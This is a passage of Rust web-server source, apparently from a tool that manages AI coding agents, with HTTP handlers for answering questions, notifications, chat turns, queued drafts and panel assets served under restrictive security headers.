5806 };
5807 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
5808 Self {
5809 detail_md: md::to_nodes(&question.detail, &base),
5810 thread_bodies_md: question
5811 .thread
5812 .iter()
5813 .map(|t| md::to_nodes(&t.body, &base))
5814 .collect(),
5815 thread_notes_md: question
5816 .thread
5817 .iter()
5818 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
5819 .collect(),
5820 waiting_on_agent: question.waiting_on_agent(),
5821 holder,
5822 deputies_enabled,
5823 run_is_task: question.run_names_task(),
5824 origin_chat: None,
5825 origin_chat_closed: false,
5826 question,
5827 }
5828 }
5829
5830 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
5832 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
5833 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
5834 self.origin_chat = talk.map(|t| t.id);
5835 self
5836 }
5837}
5838
5839fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5843 Config::discover(repo, None).ok().map(|(c, _)| c)
5844}
5845
5846fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5848 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5849}
5850
5851fn question_views(
5854 qs: Vec<Question>,
5855 store: &ask::Questions,
5856 load: impl FnOnce() -> Option<Config>,
5857) -> Vec<QuestionView> {
5858 if qs.is_empty() {
5859 return Vec::new();
5860 }
5861 let cfg = load();
5862 qs.into_iter()
5863 .map(|q| {
5864 let on = deputies_enabled(cfg.as_ref(), &q);
5865 QuestionView::of(q, store, on)
5866 })
5867 .collect()
5868}
5869
5870fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5880 if !q.status.open() {
5881 return None;
5882 }
5883 if q.cwd.is_none() && q.deputy.is_none() {
5884 return crate::deputy::kind_of(q).map(|_| "nobody");
5885 }
5886 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5887 Some(_) if q.deputy.is_some() => "deputy",
5888 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5889 Some(_) => "asker",
5890 None => "nobody",
5891 })
5892}
5893
5894async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5900 blocking(move || {
5901 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5902 Ok(Json(
5903 question_views(ui.questions.list(), &ui.questions, || {
5904 deputy_config(&ui.repo)
5905 })
5906 .into_iter()
5907 .map(|v| v.with_origin(&tasks, &talks))
5908 .collect(),
5909 ))
5910 })
5911 .await
5912}
5913
5914async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5917 blocking(move || {
5918 let items = ui.notices.list();
5919 let unread = items.iter().filter(|n| n.unread()).count();
5920 Ok(Json(
5921 serde_json::json!({ "unread": unread, "items": items }),
5922 ))
5923 })
5924 .await
5925}
5926
5927fn notice_error(e: anyhow::Error) -> ApiError {
5928 ApiError::not_found(format!("{e:#}"))
5931}
5932
5933async fn notification_read(
5935 State(ui): State<Arc<Ui>>,
5936 Path(id): Path<String>,
5937) -> ApiResult<Json<Notice>> {
5938 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5939}
5940
5941async fn notification_dismiss(
5943 State(ui): State<Arc<Ui>>,
5944 Path(id): Path<String>,
5945) -> ApiResult<Json<Notice>> {
5946 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5947}
5948
5949async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5951 blocking(move || {
5952 let changed = ui.notices.mark_all_read()?;
5953 Ok(Json(serde_json::json!({ "marked": changed })))
5954 })
5955 .await
5956}
5957
5958#[derive(Debug, Default, Deserialize)]
5964#[serde(default, deny_unknown_fields)]
5965struct NewAnswer {
5966 choice: Option<String>,
5967 text: Option<String>,
5968}
5969
5970async fn question_answer(
5971 State(ui): State<Arc<Ui>>,
5972 Path(id): Path<String>,
5973 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5974) -> ApiResult<Json<QuestionView>> {
5975 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5976 let answer = match (body.choice, body.text) {
5977 (Some(c), None) => Answer::Choice(c),
5978 (None, Some(t)) => Answer::Text(t),
5979 (Some(_), Some(_)) => {
5980 return Err(ApiError::bad_request(
5981 "send either `choice` or `text`, not both",
5982 ));
5983 }
5984 (None, None) => {
5985 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5986 }
5987 };
5988
5989 blocking(move || {
5990 let id = resolve_question(&ui.questions, &id)?;
5991 let q = ui
5992 .questions
5993 .get(&id)
5994 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5995 if !q.status.open() {
5996 return Err(ApiError::conflict(format!(
6000 "question {} is already {}",
6001 q.short(),
6002 q.status.as_str()
6003 )));
6004 }
6005 let (q, ()) = ui
6009 .questions
6010 .update(&q.id, |r| r.answer(answer))
6011 .map_err(ApiError::bad_request_from)?;
6012 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6013 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6014 Ok(Json(
6015 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6016 ))
6017 })
6018 .await
6019}
6020
6021#[derive(Debug, Deserialize)]
6023#[serde(deny_unknown_fields)]
6024struct NewSay {
6025 body: String,
6026}
6027
6028async fn question_say(
6038 State(ui): State<Arc<Ui>>,
6039 Path(id): Path<String>,
6040 body: std::result::Result<Json<NewSay>, JsonRejection>,
6041) -> ApiResult<Json<QuestionView>> {
6042 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6043 blocking(move || {
6044 let id = resolve_question(&ui.questions, &id)?;
6045 let q = ui
6046 .questions
6047 .get(&id)
6048 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6049 if !q.status.open() {
6050 return Err(ApiError::conflict(format!(
6054 "question {} is already {}",
6055 q.short(),
6056 q.status.as_str()
6057 )));
6058 }
6059 let (q, ()) = ui
6062 .questions
6063 .update(&q.id, |r| r.say(body.body))
6064 .map_err(ApiError::bad_request_from)?;
6065 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6066 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6067 Ok(Json(
6068 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6069 ))
6070 })
6071 .await
6072}
6073
6074async fn question_consult(
6083 State(ui): State<Arc<Ui>>,
6084 Path(id): Path<String>,
6085) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6086 let (view, reclaimed) = blocking({
6087 let ui = Arc::clone(&ui);
6088 move || {
6089 let id = resolve_question(&ui.questions, &id)?;
6090 let q = ui
6091 .questions
6092 .get(&id)
6093 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6094 if !q.status.open() {
6095 return Err(ApiError::conflict(format!(
6096 "question {} is already {}",
6097 q.short(),
6098 q.status.as_str()
6099 )));
6100 }
6101 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6102 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6103 return Err(ApiError::conflict(format!(
6104 "question {} has no chat to ask",
6105 q.short()
6106 )));
6107 };
6108 let cfg = if q.consult.is_none() {
6112 Some(Config::discover(&talk.repo, None)?.0)
6113 } else {
6114 None
6115 };
6116 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6117 let claim = if fresh {
6118 match ui.begin_queued_talk_turn(&talk.id)? {
6119 Some(turn_guard) => {
6120 let talk = ui.talks.get(&talk.id)?;
6121 let cfg = match cfg {
6122 Some(cfg) => cfg,
6123 None => Config::discover(&talk.repo, None)?.0,
6124 };
6125 Some((talk, cfg, turn_guard))
6126 }
6127 None => None,
6128 }
6129 } else {
6130 None
6131 };
6132 let q = ui.questions.get(&q.id)?;
6133 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6134 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6135 Ok((view, claim))
6136 }
6137 })
6138 .await?;
6139 if let Some((talk, cfg, turn_guard)) = reclaimed {
6140 let talks = ui.talks.clone();
6141 let id = talk.id.clone();
6142 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6143 }
6144 Ok((StatusCode::ACCEPTED, Json(view)))
6145}
6146
6147fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6149 if store.path_of(id).is_file() {
6150 return Ok(id.to_owned());
6151 }
6152 pick(
6153 store.list().into_iter().map(|q| q.id).collect(),
6154 id,
6155 "question",
6156 )
6157}
6158
6159async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6174 blocking(move || {
6175 let id = resolve_question(&ui.questions, &id)?;
6176 let Some(html) = ui.questions.panel_html(&id) else {
6177 return Err(ApiError::not_found(format!("question {id} has no panel")));
6178 };
6179 Ok(panel_response(
6180 "text/html; charset=utf-8",
6181 false,
6182 html.into_bytes(),
6183 ))
6184 })
6185 .await
6186}
6187
6188async fn question_asset(
6216 State(ui): State<Arc<Ui>>,
6217 Path((id, name)): Path<(String, String)>,
6218) -> ApiResult<Response> {
6219 if !crate::ask::valid_asset_name(&name) {
6222 return Err(ApiError::bad_request(format!(
6223 "`{name}` is not a usable asset name"
6224 )));
6225 }
6226 blocking(move || {
6227 let id = resolve_question(&ui.questions, &id)?;
6228 let asset = ui
6229 .questions
6230 .panel_asset(&id, &name)
6231 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6232 let Some(bytes) = asset else {
6233 return Err(ApiError::not_found(format!(
6234 "question {id} has no asset `{name}`"
6235 )));
6236 };
6237 Ok(panel_response(
6238 asset_content_type(&name),
6239 is_svg(&name),
6240 bytes,
6241 ))
6242 })
6243 .await
6244}
6245
6246fn asset_content_type(name: &str) -> &'static str {
6259 match extension(name).as_deref() {
6260 Some("png") => "image/png",
6261 Some("jpg" | "jpeg") => "image/jpeg",
6262 Some("gif") => "image/gif",
6263 Some("webp") => "image/webp",
6264 Some("svg") => "image/svg+xml",
6265 Some("css") => "text/css; charset=utf-8",
6266 Some("txt") => "text/plain; charset=utf-8",
6267 _ => "application/octet-stream",
6268 }
6269}
6270
6271fn is_svg(name: &str) -> bool {
6274 extension(name).as_deref() == Some("svg")
6275}
6276
6277fn extension(name: &str) -> Option<String> {
6279 name.rsplit_once('.')
6280 .map(|(_, ext)| ext.to_ascii_lowercase())
6281}
6282
6283fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6300 let mut res = (
6301 [
6302 (header::CONTENT_TYPE, content_type),
6303 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6304 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6305 (header::REFERRER_POLICY, "no-referrer"),
6306 ],
6307 body,
6308 )
6309 .into_response();
6310 if download {
6311 res.headers_mut().insert(
6312 header::CONTENT_DISPOSITION,
6313 HeaderValue::from_static("attachment"),
6314 );
6315 }
6316 res
6317}
6318
6319#[derive(Debug, Serialize)]
6325struct TalkView {
6326 #[serde(flatten)]
6327 talk: Talk,
6328 turn_bodies_md: Vec<Vec<md::Node>>,
6329 thinking: bool,
6337 context: talk::ContextUsage,
6341 operator_name: Option<String>,
6344 persona_name: Option<String>,
6346 persona_avatar: String,
6349}
6350
6351impl TalkView {
6352 fn new(talk: Talk, thinking: bool) -> Self {
6355 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6356 Self::with_config(talk, thinking, cfg.as_ref())
6357 }
6358
6359 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6362 let context = talk::context_usage(&talk, cfg);
6363 let turn_bodies_md = talk
6364 .turns
6365 .iter()
6366 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6367 .collect();
6368 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6369 let persona_name = persona::find(specs, &talk.persona)
6370 .filter(|p| !p.is_default())
6371 .map(|p| p.name);
6372 let persona_avatar = avatar_url(
6373 &talk.id,
6374 &persona::find(specs, &talk.persona)
6375 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6376 );
6377 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6378 Self {
6379 turn_bodies_md,
6380 thinking,
6381 context,
6382 operator_name,
6383 persona_name,
6384 persona_avatar,
6385 talk,
6386 }
6387 }
6388}
6389
6390#[derive(Debug, Serialize)]
6395struct TalkDetailView {
6396 #[serde(flatten)]
6397 view: TalkView,
6398 tasks: Vec<TaskView>,
6399 roster: Vec<RosterEntry>,
6402 personas: Vec<PersonaEntry>,
6405}
6406
6407#[derive(Debug, Serialize)]
6409struct PersonaEntry {
6410 id: String,
6411 name: String,
6412 avatar: String,
6414}
6415
6416#[derive(Debug, Serialize)]
6418struct RosterEntry {
6419 id: String,
6420 kind: AgentKind,
6421 runnable: bool,
6423}
6424
6425async fn talks_list(
6430 State(ui): State<Arc<Ui>>,
6431 Query(q): Query<ListQuery>,
6432) -> ApiResult<Json<Vec<TalkView>>> {
6433 blocking(move || {
6434 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6435 Ok(Json(
6436 ui.talks
6437 .list()
6438 .into_iter()
6439 .filter(|talk| q.contains(&talk.id))
6440 .map(|talk| {
6441 let thinking = ui.is_thinking(&talk.id);
6442 let cfg = configs
6443 .entry(talk.repo.clone())
6444 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6445 TalkView::with_config(talk, thinking, cfg.as_ref())
6446 })
6447 .collect(),
6448 ))
6449 })
6450 .await
6451}
6452
6453#[derive(Debug, Default, Deserialize)]
6458#[serde(default)]
6459struct NewTalk {
6460 agent: Option<String>,
6461 repo: Option<PathBuf>,
6462 preferred_agent: Option<serde_json::Value>,
6466 persona: Option<serde_json::Value>,
6467 implementers: Option<serde_json::Value>,
6468}
6469
6470async fn talk_post(
6473 State(ui): State<Arc<Ui>>,
6474 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6475) -> ApiResult<impl IntoResponse> {
6476 let body = match body {
6480 Ok(Json(body)) => body,
6481 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6482 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6483 };
6484 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6485 let cfg = config_for(&repo).await?;
6486 let view = blocking(move || {
6487 let preferred = talk::Preferred {
6488 agent: body
6489 .preferred_agent
6490 .as_ref()
6491 .and_then(|v| v.as_str())
6492 .map(str::to_owned),
6493 persona: body
6494 .persona
6495 .as_ref()
6496 .and_then(|v| v.as_str())
6497 .map(str::to_owned),
6498 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6499 };
6500 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6501 let thinking = ui.is_thinking(&talk.id);
6502 Ok(TalkView::new(talk, thinking))
6503 })
6504 .await?;
6505 Ok((StatusCode::CREATED, Json(view)))
6506}
6507
6508async fn talk_detail(
6510 State(ui): State<Arc<Ui>>,
6511 Path(id): Path<String>,
6512) -> ApiResult<Json<TalkDetailView>> {
6513 blocking(move || {
6514 let id = resolve_talk(&ui.talks, &id)?;
6515 let talk = ui.talks.get(&id)?;
6516 let thinking = ui.is_thinking(&talk.id);
6517 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6518 .into_iter()
6519 .map(TaskView::from)
6520 .collect();
6521 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6522 let roster = cfg
6523 .as_ref()
6524 .map(|cfg| {
6525 cfg.agents
6526 .iter()
6527 .map(|a| RosterEntry {
6528 id: a.id.clone(),
6529 kind: a.kind,
6530 runnable: agent::installed(a),
6531 })
6532 .collect()
6533 })
6534 .unwrap_or_default();
6535 let specs = cfg
6536 .as_ref()
6537 .map(|cfg| cfg.talk.personas.clone())
6538 .unwrap_or_default();
6539 let personas = persona::catalog(&specs)
6540 .into_iter()
6541 .map(|p| PersonaEntry {
6542 avatar: avatar_url(&talk.id, &p),
6543 id: p.id,
6544 name: p.name,
6545 })
6546 .collect();
6547 Ok(Json(TalkDetailView {
6548 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6549 tasks,
6550 roster,
6551 personas,
6552 }))
6553 })
6554 .await
6555}
6556
6557#[derive(Debug, Default, Deserialize)]
6563#[serde(default, deny_unknown_fields)]
6564struct NewTalkTurn {
6565 text: String,
6566 attachments: Vec<String>,
6567}
6568
6569#[derive(Debug, Deserialize)]
6570#[serde(deny_unknown_fields)]
6571struct EditTalkPending {
6572 text: String,
6573 expected_text: String,
6574 expected_attachments: Vec<String>,
6575}
6576
6577#[derive(Debug, Deserialize)]
6578#[serde(deny_unknown_fields)]
6579struct ClearTalkPending {
6580 expected_text: String,
6581 expected_attachments: Vec<String>,
6582}
6583
6584async fn talk_say(
6596 State(ui): State<Arc<Ui>>,
6597 Path(id): Path<String>,
6598 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6599) -> ApiResult<(StatusCode, Json<TalkView>)> {
6600 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6601 if body.text.trim().is_empty() && body.attachments.is_empty() {
6602 return Err(ApiError::bad_request("say something"));
6603 }
6604
6605 let id = {
6606 let ui = Arc::clone(&ui);
6607 let asked = id.clone();
6608 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6609 };
6610 {
6614 let ui = Arc::clone(&ui);
6615 let id = id.clone();
6616 blocking(move || {
6617 let talk = ui.talks.get(&id)?;
6618 if !talk.status.open() {
6619 return Err(ApiError::conflict(format!(
6620 "talk {} is {} and takes no more turns",
6621 talk.short(),
6622 talk.status.as_str()
6623 )));
6624 }
6625 Ok(())
6626 })
6627 .await?;
6628 }
6629
6630 let attachments = {
6635 let ui = Arc::clone(&ui);
6636 let id = id.clone();
6637 let ids = body.attachments.clone();
6638 blocking(move || {
6639 ids.into_iter()
6640 .map(|att_id| {
6641 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6642 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6643 })
6644 })
6645 .collect::<ApiResult<Vec<talk::Attachment>>>()
6646 })
6647 .await?
6648 };
6649
6650 let start = {
6655 let ui = Arc::clone(&ui);
6656 let id = id.clone();
6657 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6658 };
6659 let turn_guard = match start {
6660 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6661 TalkTurnStart::Pending => {
6662 return Err(ApiError::conflict(
6663 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6664 ));
6665 }
6666 TalkTurnStart::Foreign => {
6667 return Err(ApiError::conflict(
6668 "a turn is already running in another process; try again when it has finished",
6669 ));
6670 }
6671 TalkTurnStart::Busy => {
6672 let (tx, rx) = tokio::sync::oneshot::channel();
6688 tokio::spawn({
6689 let ui = Arc::clone(&ui);
6690 let id = id.clone();
6691 let said = body.text.clone();
6692 async move {
6693 let written = blocking({
6694 let ui = Arc::clone(&ui);
6695 let id = id.clone();
6696 move || {
6697 let mut talk = ui.talks.get(&id)?;
6698 #[cfg(test)]
6703 if let Some(gate) = ui
6704 .busy_queue_gate
6705 .lock()
6706 .unwrap_or_else(PoisonError::into_inner)
6707 .take()
6708 {
6709 let _ = gate.reached.send(());
6710 let _ = gate.release.recv();
6711 }
6712 if let Err(error) =
6713 talk::queue(&mut talk, &ui.talks, &said, attachments)
6714 {
6715 if let Ok(fresh) = ui.talks.get(&id) {
6716 if !fresh.status.open() {
6717 return Err(ApiError::conflict(format!(
6718 "talk {} is {} and takes no more turns",
6719 fresh.short(),
6720 fresh.status.as_str()
6721 )));
6722 }
6723 }
6724 return Err(ApiError::from(error));
6725 }
6726 let claim = match ui.begin_queued_talk_turn(&id)? {
6737 Some(turn_guard) => {
6738 let (cfg, _) = Config::discover(&talk.repo, None)?;
6739 Some((talk.clone(), cfg, turn_guard))
6740 }
6741 None => None,
6742 };
6743 let thinking = ui.is_thinking(&id);
6744 Ok((TalkView::new(talk, thinking), claim))
6745 }
6746 })
6747 .await;
6748 let (view, reclaimed) = match written {
6749 Ok(pair) => pair,
6750 Err(e) => {
6751 let _ = tx.send(Err(e));
6756 return;
6757 }
6758 };
6759 let _ = tx.send(Ok(view));
6762 if let Some((talk, cfg, turn_guard)) = reclaimed {
6763 let talks = ui.talks.clone();
6764 drain_loop(talk, talks, cfg, id, turn_guard).await;
6765 }
6766 }
6767 });
6768 let view = rx
6769 .await
6770 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6771 return Ok((StatusCode::ACCEPTED, Json(view)));
6772 }
6773 };
6774
6775 let (talk, cfg) = {
6776 let ui = Arc::clone(&ui);
6777 let id = id.clone();
6778 blocking(move || {
6779 let talk = ui.talks.get(&id)?;
6780 let (cfg, _) = Config::discover(&talk.repo, None)?;
6781 Ok((talk, cfg))
6782 })
6783 .await?
6784 };
6785
6786 let talks = ui.talks.clone();
6787 let (tx, rx) = tokio::sync::oneshot::channel();
6802 tokio::spawn({
6803 let ui = Arc::clone(&ui);
6804 let talks = talks.clone();
6805 let id = id.clone();
6806 let said = body.text.clone();
6807 let mut talk = talk.clone();
6808 async move {
6809 let recorded = blocking({
6810 let talks = talks.clone();
6811 move || {
6812 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6813 if let Ok(fresh) = talks.get(&talk.id) {
6814 if !fresh.status.open() {
6815 return Err(ApiError::conflict(format!(
6816 "talk {} is {} and takes no more turns",
6817 fresh.short(),
6818 fresh.status.as_str()
6819 )));
6820 }
6821 }
6822 return Err(ApiError::from(error));
6823 }
6824 Ok((said.trim().to_owned(), talk))
6830 }
6831 })
6832 .await;
6833 let (text, mut talk) = match recorded {
6834 Ok(pair) => pair,
6835 Err(e) => {
6836 let _ = tx.send(Err(e));
6840 return;
6841 }
6842 };
6843 let queued = talk.clone();
6844 let thinking = ui.is_thinking(&id);
6845 let _ = tx.send(Ok((queued, thinking)));
6848
6849 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6850 tracing::warn!("talk {id} turn failed: {e:#}");
6854 }
6855 drain_loop(talk, talks, cfg, id, turn_guard).await;
6858 }
6859 });
6860
6861 let (queued, thinking) = rx
6862 .await
6863 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6864
6865 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6867}
6868
6869async fn talk_pending_resume(
6873 State(ui): State<Arc<Ui>>,
6874 Path(id): Path<String>,
6875) -> ApiResult<(StatusCode, Json<TalkView>)> {
6876 let id = {
6877 let ui = Arc::clone(&ui);
6878 let asked = id.clone();
6879 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6880 };
6881 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6882 return Err(ApiError::conflict(
6883 "a talk turn is already running; the queued draft will be handled by it",
6884 ));
6885 };
6886 let (talk, cfg) = {
6887 let ui = Arc::clone(&ui);
6888 let id = id.clone();
6889 blocking(move || {
6890 let talk = ui.talks.get(&id)?;
6891 if !talk.status.open() {
6892 return Err(ApiError::conflict(format!(
6893 "talk {} is {} and takes no more turns",
6894 talk.short(),
6895 talk.status.as_str()
6896 )));
6897 }
6898 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6899 return Err(ApiError::conflict("there is no queued draft to resume"));
6900 }
6901 let (cfg, _) = Config::discover(&talk.repo, None)?;
6902 Ok((talk, cfg))
6903 })
6904 .await?
6905 };
6906 let view = TalkView::new(talk.clone(), true);
6907 let talks = ui.talks.clone();
6908 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6909 Ok((StatusCode::ACCEPTED, Json(view)))
6910}
6911
6912async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6928 let live_set = Arc::clone(&turn.turns);
6929 let mut turn = Some(turn);
6937 loop {
6938 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6939 tracing::warn!("talk {id} lost its turn lease; not draining further");
6942 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6943 if let Some(turn) = turn.take() {
6944 turn.release(&mut live);
6945 }
6946 break;
6947 }
6948 {
6949 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6952 if live.parking {
6953 if let Some(turn) = turn.take() {
6954 turn.release(&mut live);
6955 }
6956 break;
6957 }
6958 }
6959 let observed = live_set
6963 .lock()
6964 .unwrap_or_else(PoisonError::into_inner)
6965 .queued
6966 .get(&id)
6967 .copied()
6968 .unwrap_or(0);
6969 let drained = blocking({
6970 let talks = talks.clone();
6971 let live_set = Arc::clone(&live_set);
6972 move || {
6973 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6978 let result = if live.parking {
6979 Ok(None)
6980 } else {
6981 talk::drain(&mut talk, &talks)
6982 };
6983 drop(live);
6984 Ok((talk, result))
6985 }
6986 })
6987 .await;
6988 let (next_talk, result) = match drained {
6989 Ok(drained) => drained,
6990 Err(e) => {
6991 tracing::warn!(
6992 status = %e.status,
6993 message = %e.message,
6994 "talk {id} could not start queued-text drain"
6995 );
6996 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6997 turn.take()
6998 .expect("held for the whole loop until released here")
6999 .release(&mut live);
7000 break;
7001 }
7002 };
7003 talk = next_talk;
7004 let drained = match result {
7005 Ok(Some(drained)) => drained,
7006 Ok(None) => {
7007 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7008 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7009 continue;
7010 }
7011 turn.take()
7012 .expect("held for the whole loop until released here")
7013 .release(&mut live);
7014 break;
7015 }
7016 Err(e) => {
7017 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7018 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7019 turn.take()
7020 .expect("held for the whole loop until released here")
7021 .release(&mut live);
7022 break;
7023 }
7024 };
7025 let responded = match turn.as_ref() {
7026 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7027 None => Err(anyhow::anyhow!("the turn guard was released")),
7028 };
7029 if let Err(e) = responded {
7030 tracing::warn!("talk {id} turn failed: {e:#}");
7031 }
7032 }
7033}
7034
7035async fn talk_pending_clear(
7037 State(ui): State<Arc<Ui>>,
7038 Path(id): Path<String>,
7039 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7040) -> ApiResult<Json<TalkView>> {
7041 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7042 blocking(move || {
7043 let id = resolve_talk(&ui.talks, &id)?;
7044 let mut talk = ui.talks.get(&id)?;
7045 if !talk.status.open() {
7046 return Err(ApiError::conflict(format!(
7047 "talk {} is {} and takes no more turns",
7048 talk.short(),
7049 talk.status.as_str()
7050 )));
7051 }
7052 if !talk::clear_pending_if_matches(
7053 &mut talk,
7054 &ui.talks,
7055 &body.expected_text,
7056 &body.expected_attachments,
7057 )? {
7058 return Err(ApiError::conflict(
7059 "queued message changed; reload it before clearing",
7060 ));
7061 }
7062 let thinking = ui.is_thinking(&talk.id);
7063 Ok(Json(TalkView::new(talk, thinking)))
7064 })
7065 .await
7066}
7067
7068async fn talk_pending_edit(
7072 State(ui): State<Arc<Ui>>,
7073 Path(id): Path<String>,
7074 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7075) -> ApiResult<Json<TalkView>> {
7076 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7077 let (view, reclaimed) = blocking({
7078 let ui = Arc::clone(&ui);
7079 move || {
7080 let id = resolve_talk(&ui.talks, &id)?;
7081 let mut talk = ui.talks.get(&id)?;
7082 if !talk.status.open() {
7083 return Err(ApiError::conflict(format!(
7084 "talk {} is {} and takes no more turns",
7085 talk.short(),
7086 talk.status.as_str()
7087 )));
7088 }
7089 if !talk::edit_pending_text(
7090 &mut talk,
7091 &ui.talks,
7092 &body.text,
7093 &body.expected_text,
7094 &body.expected_attachments,
7095 )? {
7096 return Err(ApiError::conflict(
7097 "queued message changed; reload it before editing",
7098 ));
7099 }
7100 let claim = match ui.begin_queued_talk_turn(&id)? {
7101 Some(turn_guard) => {
7102 let (cfg, _) = Config::discover(&talk.repo, None)?;
7103 Some((talk.clone(), cfg, id.clone(), turn_guard))
7104 }
7105 None => None,
7106 };
7107 let thinking = ui.is_thinking(&id);
7108 Ok((TalkView::new(talk, thinking), claim))
7109 }
7110 })
7111 .await?;
7112 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7113 let talks = ui.talks.clone();
7114 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7115 }
7116 Ok(Json(view))
7117}
7118
7119fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7121 if talk.status.open() {
7122 return Ok(());
7123 }
7124 Err(ApiError::conflict(format!(
7125 "talk {} is {} and takes no more turns",
7126 talk.short(),
7127 talk.status.as_str()
7128 )))
7129}
7130
7131#[derive(Debug, Deserialize)]
7133struct TalkAgent {
7134 agent: String,
7135}
7136
7137async fn talk_agent(
7142 State(ui): State<Arc<Ui>>,
7143 Path(id): Path<String>,
7144 Json(body): Json<TalkAgent>,
7145) -> ApiResult<Json<TalkView>> {
7146 let id = {
7147 let ui = Arc::clone(&ui);
7148 blocking(move || resolve_talk(&ui.talks, &id)).await?
7149 };
7150 let repo = {
